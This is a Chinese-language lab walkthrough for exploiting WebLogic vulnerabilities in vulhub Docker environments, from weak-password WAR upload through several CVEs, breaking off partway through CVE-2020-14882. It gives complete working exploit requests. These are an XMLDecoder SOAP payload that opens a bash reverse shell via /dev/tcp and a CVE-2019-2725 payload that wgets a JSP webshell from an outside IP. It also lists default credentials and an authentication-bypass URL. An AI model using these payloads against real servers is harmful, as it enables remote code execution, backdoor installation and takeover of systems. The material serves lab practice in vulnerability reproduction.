后台弱⼝令GetShell
步骤一:环境部署
cd vulhub-master/weblogic/weak_password
docker-compose up -d
docker ps
步骤二:漏洞复现
默认账号密码:weblogic/Oracle@123
步骤二:进行登录
http://192.168.10.190:7001/console/login/LoginForm.jsp
步骤三:上传war包,jsp⽊⻢压缩成zip,修改后缀为war,上传
进行保存
步骤四:访问部署好的war,工具连接
CVE-2017-3506
步骤一:环境部署
cd vulhub-master/weblogic/weak_password
docker-compose up -d
docker ps
步骤二:验证是否存在wls-wsat组件
http://192.168.10.190:7001/wls-wsat/CoordinatorPortType
步骤三:在当前⻚⾯抓包之后,添加下⾯请求包,反弹shell。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host:192.168.10.190:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 860
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.10.190/6666 0>&1
</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
CVE-2019-2725
步骤一:环境部署
cd vulhub-master/weblogic/weak_password
docker-compose up -d
docker ps
步骤二:漏洞验证
http://192.168.10.190:7001/_async/AsyncResponseService
步骤二:在当前⻚⾯抓包 , 修改请求包 , 写⼊shell
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.10.190:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 839
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://114.55.130.115/6.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/6.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
步骤三:访问下载到weblogic服务器上的⽊⻢,进⾏链接
http://192.168.10.190:7001/bea_wls_internal/6.jsp
CVE-2018-2628
步骤一:环境部署
cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d
步骤二:使用Java反序列化漏洞利用工具V1.7 by shack2 进行检查
CVE-2018-2894
步骤一:部署环境
cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
步骤二:漏洞复现
这⾥环境后台密码是随机得,获取密码: docker-compose logs | grep password
步骤二:设置Web服务测试开启
域结构 -> base-domain -> ⾼级 -> 启动Web服务测试页
步骤二:点击保存 , 进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
步骤三:点击安全 , 点击添加
打开控制台, 找到对应时间戳
1726987173033
步骤四:Webshell链接
CVE-2020-14882
步骤一:部署环境
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
步骤二:访问管理控制台
http://192.168.10.190:7001/console/login/LoginForm.jsp
步骤三:使⽤以下url绕过登录认证
http://192.168.10.190:7001/console/css/%252e%252e%252fconsole.portal
步骤四:⾸先访问以下 URL ,以连接 2 个漏洞并执⾏以下命令